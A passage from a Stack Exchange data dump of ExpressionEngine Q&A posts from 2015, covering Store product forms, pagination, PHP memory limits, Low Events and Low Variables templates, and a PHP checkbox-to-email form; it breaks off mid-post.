  <row Id="32474" PostTypeId="2" ParentId="9959" CreationDate="2015-07-30T09:52:47.857" Score="1" Body="&lt;p&gt;I was looking for a solution of such problem, later figured out myself. Sharing here my solution if anybody still looks for it - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product_form return=&quot;/store_example/checkout&quot;}&#xA;&#xA;  {exp:channel:entries channel=&quot;products&quot; orderby=&quot;product_order&quot; sort=&quot;asc&quot; disable=&quot;categories|member_data|pagination&quot; dynamic=&quot;no&quot; entry_id=&quot;3&quot; }&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot;}&#xA;&#xA;      &amp;lt;section id=&quot;product_{count}&quot; class=&quot;product&quot;&amp;gt;&#xA;      &amp;lt;h2&amp;gt;{title} // {price} &#xA;          {if no_modifiers}&amp;lt;input type=&quot;text&quot; class=&quot;qty&quot; name=&quot;items[{count}][item_qty]&quot; size=&quot;1&quot; placeholder=&quot;Quantity&quot; /&amp;gt; &amp;amp;nbsp;&#xA;          &amp;lt;input type=&quot;checkbox&quot; data-qt_field_name=&quot;items[{count}][item_qty]&quot; name=&quot;select_item&quot;&amp;gt;{/if}&amp;lt;/h2&amp;gt;&#xA;&#xA;      {modifiers}&#xA;        &amp;lt;p&amp;gt;&#xA;          &amp;lt;label&amp;gt;{modifier_name}&amp;lt;/label&amp;gt;&#xA;          {if modifier_instructions}&amp;lt;small&amp;gt;{modifier_instructions}&amp;lt;/small&amp;gt;&amp;lt;br /&amp;gt;{/if}&#xA;          {if modifier_type == 'var' OR modifier_type == 'var_single_sku'}&#xA;  &amp;lt;div class=&quot;checkbox&quot;&amp;gt;&#xA;            {modifier_options}&#xA;&#xA;&#xA;    &amp;lt;label&amp;gt;&#xA;      {option_name} &#xA;      &amp;lt;input type=&quot;text&quot; class=&quot;qty&quot; name=&quot;items[{count}{option_id}][item_qty]&quot; size=&quot;1&quot; placeholder=&quot;Quantity&quot; /&amp;gt;&#xA;      &amp;lt;input type=&quot;checkbox&quot; name=&quot;items[{count}{option_id}][{modifier_input_name}]&quot; value=&quot;{option_id}&quot; class=&quot;select_item&quot; checked=&quot;checked&quot; /&amp;gt;&#xA;    &amp;lt;/label&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;items[{count}{option_id}][entry_id]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;&#xA;&#xA;            {/modifier_options}&#xA;  &amp;lt;/div&amp;gt;            &#xA;&#xA;          {if:else}&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;items[{count}][{modifier_input_name}]&quot; /&amp;gt;&#xA;          {/if}&#xA;        &amp;lt;/p&amp;gt;&#xA;      {/modifiers}&#xA;&#xA;    {if no_modifiers}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;items[{count}][entry_id]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;    {/if}&#xA;&#xA;&#xA;      &amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/section&amp;gt;&#xA;&#xA;    {/exp:store:product}&#xA;  {/exp:channel:entries}&#xA;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Add to Cart&quot; /&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:store:product_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might see, i've checked on for option modifier field. You've to do the same or change its value to check ON using javascript before form submission.&lt;/p&gt;&#xA;" OwnerUserId="2625" LastActivityDate="2015-07-30T09:52:47.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32475" PostTypeId="1" AcceptedAnswerId="32478" CreationDate="2015-07-30T13:01:24.620" Score="0" ViewCount="99" Body="&lt;p&gt;I need to display a large list of channel entires...between 500 and 800 entries. The list is simply a list of names in alphabetical order. When I run this query, I run out of PHP memory. I've tried to disable all parameters that I can, but I still get a memory error. This list can be cached and refresh once a day or so, but I can't even get to that point without running gout of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything that can be done to output such a large number of channel entries, other than upping the PHP memory limit (which I understand is a bad idea)?&lt;/p&gt;&#xA;" OwnerUserId="1862" LastActivityDate="2015-07-30T13:49:43.050" Title="How can I efficiently output a large channel entries query?" Tags="|php|php-errors|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32476" PostTypeId="2" ParentId="32470" CreationDate="2015-07-30T13:10:13.163" Score="2" Body="&lt;p&gt;You should be able to setup a product modifier field as a regular grid or matrix that allow counting the inventory of each item separately but don't make a difference on price, or are priced in the same way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the message, you could do it one of two ways. One is that you could update the text in the various language files (&lt;code&gt;third_party/cartthrob/language/english/cartthrob_lang.php&lt;/code&gt; and &lt;code&gt;third_party/cartthrob/language/english/cartthrob_errors_lang.php&lt;/code&gt;) to be something that's more general and applies to all the products. Alternatively you could write an extension that fires on either CT's add to cart or ordering (or both) hooks that &quot;understands&quot; the product types a bit more and outputs the customized errors for each type. (We can help with this as well if you &lt;a href=&quot;http://mightybigrobot.com/support/index.php?pg=request&quot; rel=&quot;nofollow&quot;&gt;file a support request&lt;/a&gt;!). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that helpful?&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-07-30T13:10:13.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32477" PostTypeId="2" ParentId="32475" CreationDate="2015-07-30T13:41:49.637" Score="0" Body="&lt;p&gt;You could use pagination. Or if you want the whole list loaded on one page you could use pagination in combination with ajax. Than you load one batch at a time and add it on your page.&lt;/p&gt;&#xA;" OwnerUserId="6205" LastEditorUserId="6205" LastEditDate="2015-07-30T13:47:33.487" LastActivityDate="2015-07-30T13:47:33.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32478" PostTypeId="2" ParentId="32475" CreationDate="2015-07-30T13:49:43.050" Score="1" Body="&lt;p&gt;I would do as @Ballonatic says, and use pagination. But if this isn't an option, you can set your PHP Mem limit higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change your php.ini file to reflect this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memory_limit = 64M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replease &lt;code&gt;64M&lt;/code&gt; (or whatever your's is set as) with and upped value. Another option, if you (for some unfathomable reason) &lt;strong&gt;only&lt;/strong&gt; want the memory raised for that particular page, but remain at it's lower setting for all other pages, you can turn PHP on for that template and use this PHP function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('memory_limit', '64M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will change the memory limit for the duration of the script execution, but will return to it's php.ini set value on next script execution (some other page).&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-30T13:49:43.050" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="32479" PostTypeId="1" CreationDate="2015-07-30T14:16:19.200" Score="0" ViewCount="30" Body="&lt;p&gt;Is it Possible to exclude weekends from the {exp:low_events:calendar} tag?&#xA;Weekends is not needed.&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2016-06-06T23:59:25.343" Title="Exclude weekends Low events Calendar" Tags="|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32480" PostTypeId="1" AcceptedAnswerId="32491" CreationDate="2015-07-30T14:48:31.907" Score="0" ViewCount="26" Body="&lt;p&gt;Is there any way of switching the date around in the url? I currently have /2015-07/ for a month and /2015-07/02/ for a day. But it would be great if i could get UK date range eg: /02-07-2015/&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-07-31T14:54:14.387" Title="Low events date in the url" Tags="|low-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32481" PostTypeId="1" CreationDate="2015-07-30T15:51:58.027" Score="0" ViewCount="117" Body="&lt;p&gt;Using a Field Pack List fieldtype in a channel form fails due to the need to hit enter to add a new line per list item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does one prevent the entire form from submitting when a user hits enter?&lt;/p&gt;&#xA;" OwnerUserId="97" LastActivityDate="2016-06-16T09:16:22.093" Title="Field Pack List in a Channel Form" Tags="|pixelandtonic|field-pack|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32482" PostTypeId="1" AcceptedAnswerId="32483" CreationDate="2015-07-30T17:49:21.473" Score="0" ViewCount="6757" Body="&lt;p&gt;I have a form on my website that sends the captured values of the form to an email address. On my form I have input types of text, and checkbox. But every time I submit the form with checkbox values checked the email shows up blank, with not captured values. I am using a foreach loop to check the checkbox array of its values, but maybe the loop is only seeing the Array and not the individual values of the array? Also the form is no longer redirecting to the redirect page. That must mean that the http_code is &gt; 200 and the info is posting with an error code, but not sure what error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any and all help to understand the posting process would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; I added the form tags to the html. The form posts to submit.html (where the php lives)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my html &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;form id=&quot;form&quot; method=&quot;post&quot; action=&quot;/submit&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; id=&quot;name&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;field&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;categoryType&quot;&amp;gt;Category type:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input  type=&quot;checkbox&quot; name=&quot;check_list[]&quot; value=&quot;value1&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;value1&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input  type=&quot;checkbox&quot; name=&quot;check_list[]&quot; value=&quot;value2&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;value2&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input  type=&quot;checkbox&quot; name=&quot;check_list[]&quot; value=&quot;value3&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;value3&amp;lt;/label&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My php: submit.html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA; $name         = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('name');&#xA; $checkList  = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post(['check_list']);&#xA;&#xA; foreach ($checkList as $check=&amp;gt;$value) {&#xA;          $msg  = '&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Category&amp;lt;/strong&amp;gt; '.$value.'&amp;lt;/p&amp;gt;';&#xA;    }&#xA;&#xA; $msg  = '&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Name:&amp;lt;/strong&amp;gt; '.$name.'&amp;lt;/p&amp;gt;';&#xA; $msg .= '&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Category&amp;lt;/strong&amp;gt; '.$value.'&amp;lt;/p&amp;gt;';&#xA;&#xA;&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;wordwrap = true;&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;mailtype = 'html';&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;to('email@emailcom');&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;subject('form');&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;message(entities_to_ascii($msg));&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;Send();&#xA;&#xA;     if($http_code &amp;gt; 200) {&#xA;      print &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Error&amp;lt;/strong&amp;gt; &amp;lt;/p&amp;gt;&quot;;&#xA;    } else {&#xA;      header( 'Location: redirecturl' ) ;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the suggestions from @jrothafer I have updated the submit.html file to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA; $name         = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('name');&#xA; $check_list  = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post(['check_list']);&#xA;&#xA;&#xA; $msg  = '&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Name:&amp;lt;/strong&amp;gt; '.$name.'&amp;lt;/p&amp;gt;';&#xA; $msg .= '&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Category&amp;lt;/strong&amp;gt; '.$value.'&amp;lt;/p&amp;gt;';&#xA;&#xA;&#xA;    ob_start();&#xA;    var_dump($check_list);&#xA;    $result = ob_get_clean();&#xA;&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;wordwrap = true;&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;mailtype = 'html';&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;to('email@emailcom');&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;subject('form');&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;message(entities_to_ascii($msg . &quot; - &quot; . $result));&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;Send();&#xA;&#xA;     if($http_code &amp;gt; 200) {&#xA;      print &quot;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Error&amp;lt;/strong&amp;gt; &amp;lt;/p&amp;gt;&quot;;&#xA;    } else {&#xA;      header( 'Location: redirecturl' ) ;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By correctly formatting the brackets I think I have eliminated the error code and the page successfully redirects to the redirect url on submit. The email is sending and the ob_get_clean(); returns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(2) { [0]=&amp;gt; string(5) &quot;value1&quot; [1]=&amp;gt; string(5) &quot;value2&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also just noting here that the foreach loop returns only the last value of the array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      foreach ($check_list as $check=&amp;gt;$value) {&#xA;          $msg  = '&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Category&amp;lt;/strong&amp;gt; '.$value.'&amp;lt;/p&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now I tried using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob_start();&#xA;var_export($check_list);&#xA;$result = ob_get_clean();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the return captured value is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; array ( 0 =&amp;gt; 'value_1', 1 =&amp;gt; 'value_2', )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this mean I need to capture each value individually? Or can you point me in the direction to find out how to return specific key value pairs?&lt;/p&gt;&#xA;" OwnerUserId="6482" LastEditorUserId="6482" LastEditDate="2015-07-31T14:39:49.697" LastActivityDate="2015-11-22T06:05:47.730" Title="post PHP multiple checkbox array and send values in email" Tags="|ee2|php|forms|html|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32483" PostTypeId="2" ParentId="32482" CreationDate="2015-07-30T17:56:26.343" Score="1" Body="&lt;p&gt;Please post your &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First thing, &lt;strong&gt;no square brackets&lt;/strong&gt; belong on this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$checkList  = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post(['check_list']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$checkList  = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('check_list');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And please do some debugging if you're confused:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$checkList  = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('check_list');&#xA;&#xA;ob_start();&#xA;var_dump($checkList);&#xA;$result = ob_get_clean();&#xA;// email the $result variable to yourself, it is a string of that var_dump&#xA;// that will tell you what you're getting&#xA;&#xA;// ...&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;email-&amp;gt;message(entities_to_ascii($msg . &quot; - &quot; . $result));&#xA;&#xA;// ... continue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for frigs' sake, &lt;strong&gt;stop&lt;/strong&gt; using camelCase in PHP. Sorry, I don't mean to be a jerk but it's really awful a million miles away from PSR-1 standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-1-basic-coding-standard.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-1-basic-coding-standard.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-07-30T17:56:26.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32484" PostTypeId="1" AcceptedAnswerId="40002" CreationDate="2015-07-30T20:20:20.997" Score="0" ViewCount="92" Body="&lt;p&gt;We recently updated a project from August of 2014 to use EE 2.9 and Store 2.5 which impacted the site's sorting feature and pagination; both no longer work now.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot; limit=&quot;9&quot; dynamic=&quot;yes&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic_parameters=&quot;limit|orderby&quot; search_id=&quot;{segment_3}&quot; paginate=&quot;top&quot;}&#xA;                    {exp:store:product entry_id=&quot;{entry_id}&quot; form_class=&quot;form-horizontal&quot; return=&quot;store/shopping-cart&quot;}&#xA;&#xA;                    {paginate}&#xA;                    &amp;lt;div class=&quot;page-numbers&quot;&amp;gt;&#xA;                    {pagination_links}&#xA;                    {previous_page}&#xA;                       &amp;lt;div class=&quot;previous&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;lt; Previous&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/previous_page}&#xA;                    {first_page}&#xA;                        &amp;lt;div class=&quot;num{exp:ifelse parse=&quot;inward&quot;}{if current_page}-one{if:else}-two{/if}{/exp:ifelse}&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;1&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/first_page}&#xA;                    {page}&#xA;                        &amp;lt;div class=&quot;num{exp:ifelse parse=&quot;inward&quot;}{if current_page}-one{if:else}-two{/if}{/exp:ifelse}&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/page}&#xA;                    {next_page}&#xA;                        &amp;lt;div class=&quot;next&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Next &amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/next_page}&#xA;&#xA;                    {last_page}&#xA;                        &amp;lt;div class=&quot;previous&quot; style=&quot;margin-left:10px;&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    {/last_page}&#xA;                    {/pagination_links}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {/paginate}&#xA;                    {/exp:store:product} &#xA;                    {/exp:store:search}&#xA;&#xA;&#xA;                    &amp;lt;div class=&quot;pagination-container&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;left&quot;&amp;gt;&#xA;&#xA;                        {exp:ifelse parse=&quot;inward&quot;} &#xA;&#xA;                           {if last_segment ==&quot;all&quot;}&#xA;                            {exp:entries_number channel=&quot;products&quot; category_group=&quot;1&quot;}&#xA;                            {entries_number} Item(s)&#xA;                            {/exp:entries_number}&#xA;&#xA;                            {if:elseif last_segment ==&quot;segment_3&quot;}&#xA;                            {exp:entries_number channel=&quot;products&quot; category_group=&quot;1&quot; category=&quot;{last_segment_category_id}&quot;}&#xA;                            {entries_number} Item(s)&#xA;                            {/exp:entries_number}&#xA;&#xA;                            {if:elseif segment_2 ==&quot;new&quot;}&#xA;                            {exp:store:search channel=&quot;products&quot; search_id=&quot;{segment_3}&quot;}&#xA;                             {if count == 1}&#xA;                              {total_results} Item{if total_results &amp;gt; 1}s{/if}&#xA;                             {/if}&#xA;                            {/exp:store:search}&#xA;&#xA;                            {if:else}&#xA;                            {exp:entries_number channel=&quot;products&quot; category_group=&quot;1&quot; category=&quot;{last_segment_category_id}&quot;}&#xA;                            {entries_number} Item(s)&#xA;                            {/exp:entries_number}&#xA;                            {/if}&#xA;&#xA;                         {/exp:ifelse}&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;right&quot;&amp;gt;&#xA;                        {exp:dynamo:form return=&quot;products/new&quot; search_id=&quot;{segment_3}&quot; id=&quot;options_form&quot;}&#xA;                            &amp;lt;p&amp;gt;Show &amp;lt;select class=&quot;form_option&quot; name=&quot;limit&quot;&amp;gt;&#xA;                            &amp;lt;option value=&quot;9&quot; {if limit == 9} selected=&quot;selected&quot;{/if}&amp;gt; 9 &amp;lt;/option&amp;gt; &#xA;                            &amp;lt;option value=&quot;18&quot; {if limit == 18} selected=&quot;selected&quot;{/if}&amp;gt; 18 &amp;lt;/option&amp;gt; &#xA;                            &amp;lt;option value=&quot;27&quot; {if limit == 27} selected=&quot;selected&quot;{/if}&amp;gt; 27 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt; &#xA;                            per page&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Sort by &amp;lt;select class=&quot;form_option&quot; name=&quot;orderby&quot;&amp;gt; &#xA;                            &amp;lt;option value=&quot;title&quot; {if orderby == 'title'} selected=&quot;selected&quot;{/if}&amp;gt; Name &amp;lt;/option&amp;gt; &#xA;                            &amp;lt;option value=&quot;price&quot; {if orderby == 'price'} selected=&quot;selected&quot;{/if}&amp;gt; Price &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt; &amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Min: &amp;lt;select class=&quot;form_option&quot; name=&quot;search:price:min&quot;&amp;gt; &#xA;                            &amp;lt;option value=&quot;0&quot; {if search:price:min == '0'} selected=&quot;selected&quot;{/if}&amp;gt; 0 &amp;lt;/option&amp;gt; &#xA;                            &amp;lt;option value=&quot;100&quot; {if search:price:min == '100'} selected=&quot;selected&quot;{/if}&amp;gt; 100 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;200&quot; {if search:price:min == '200'} selected=&quot;selected&quot;{/if}&amp;gt; 200 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;300&quot; {if search:price:min == '300'} selected=&quot;selected&quot;{/if}&amp;gt; 300 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;400&quot; {if search:price:min == '400'} selected=&quot;selected&quot;{/if}&amp;gt; 400 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;400&quot; {if search:price:min == '500'} selected=&quot;selected&quot;{/if}&amp;gt; 500 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;Max: &amp;lt;select class=&quot;form_option&quot; name=&quot;search:price:max&quot;&amp;gt; &#xA;                            &amp;lt;option value=&quot;1000&quot; {if search:price:max == '1000'} selected=&quot;selected&quot;{/if}&amp;gt; 1,000 &amp;lt;/option&amp;gt; &#xA;                            &amp;lt;option value=&quot;500&quot; {if search:price:max == '500'} selected=&quot;selected&quot;{/if}&amp;gt; 500 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;400&quot; {if search:price:max == '400'} selected=&quot;selected&quot;{/if}&amp;gt; 400 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;300&quot; {if search:price:max == '300'} selected=&quot;selected&quot;{/if}&amp;gt; 300 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;200&quot; {if search:price:max == '200'} selected=&quot;selected&quot;{/if}&amp;gt; 200 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;100&quot; {if search:price:max == '100'} selected=&quot;selected&quot;{/if}&amp;gt; 100 &amp;lt;/option&amp;gt;&#xA;                            &amp;lt;/select&amp;gt;&#xA;                            &amp;lt;/p&amp;gt; &#xA;                        {/exp:dynamo:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We saw this on EE's site: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html#13604&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html#13604&lt;/a&gt;  Does anyone know how this impacts pagination?&lt;/p&gt;&#xA;" OwnerUserId="2471" LastActivityDate="2017-11-13T17:01:42.773" Title="Update to EE to 2.9 Effected Store Dynamic Parameters &amp; Pagination" Tags="|expresso-store|pagination|dynamic|parameters|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32485" PostTypeId="1" AcceptedAnswerId="32487" CreationDate="2015-07-30T23:36:57.987" Score="0" ViewCount="90" Body="&lt;p&gt;I have a matrix field in a low variable and I would like to access the loop value (count) of the row. The loop runs throug without any problem and the values are shown on only the count isn't working &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:parse var=&quot;lv_Form&quot; multiple=&quot;yes&quot;}&#xA;&#xA;        &amp;lt;div class=&quot;radio-style&quot;&amp;gt;&#xA;            {lv_Form:count}&#xA;            {count}&#xA;            {lv_Form:row_count}&#xA;            &amp;lt;input type=&quot;radio&quot; id=&quot;dest_0{lf_Form:count}&quot; name=&quot;destination&quot; value=&quot;0{lv_Form:count}&quot; /&amp;gt;&amp;lt;label for=&quot;dest_0{lv_Form:count}&quot;&amp;gt;{lvFormDest_{user_language}} {lvFormStartDate format=&quot;%m/%Y&quot;}&amp;lt;/label&amp;gt;&#xA;        &amp;lt;/div&amp;gt;                          &#xA;{/exp:low_variables:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;radio-style&quot;&amp;gt;&#xA;                        {var:count}&#xA;                        {count}&#xA;                        count&#xA;                        {lv_Form:row_count}&#xA;                            &amp;lt;input type=&quot;radio&quot; id=&quot;dest_0{count}&quot; name=&quot;destination&quot; value=&quot;0{lv_Form:count}&quot; /&amp;gt;&amp;lt;label for=&quot;dest_0{count}&quot;&amp;gt;Tenerife 12/2015&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;                        &amp;lt;div class=&quot;radio-style&quot;&amp;gt;&#xA;                        {var:count}&#xA;                        {count}&#xA;                        count&#xA;                        {lv_Form:row_count}&#xA;                            &amp;lt;input type=&quot;radio&quot; id=&quot;dest_0{count}&quot; name=&quot;destination&quot; value=&quot;0{lv_Form:count}&quot; /&amp;gt;&amp;lt;label for=&quot;dest_0{count}&quot;&amp;gt;Nicaragua 12/2015&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;                        &amp;lt;div class=&quot;radio-style&quot;&amp;gt;&#xA;                        {var:count}&#xA;                        {count}&#xA;                        count&#xA;                        {lv_Form:row_count}&#xA;                            &amp;lt;input type=&quot;radio&quot; id=&quot;dest_0{count}&quot; name=&quot;destination&quot; value=&quot;0{lv_Form:count}&quot; 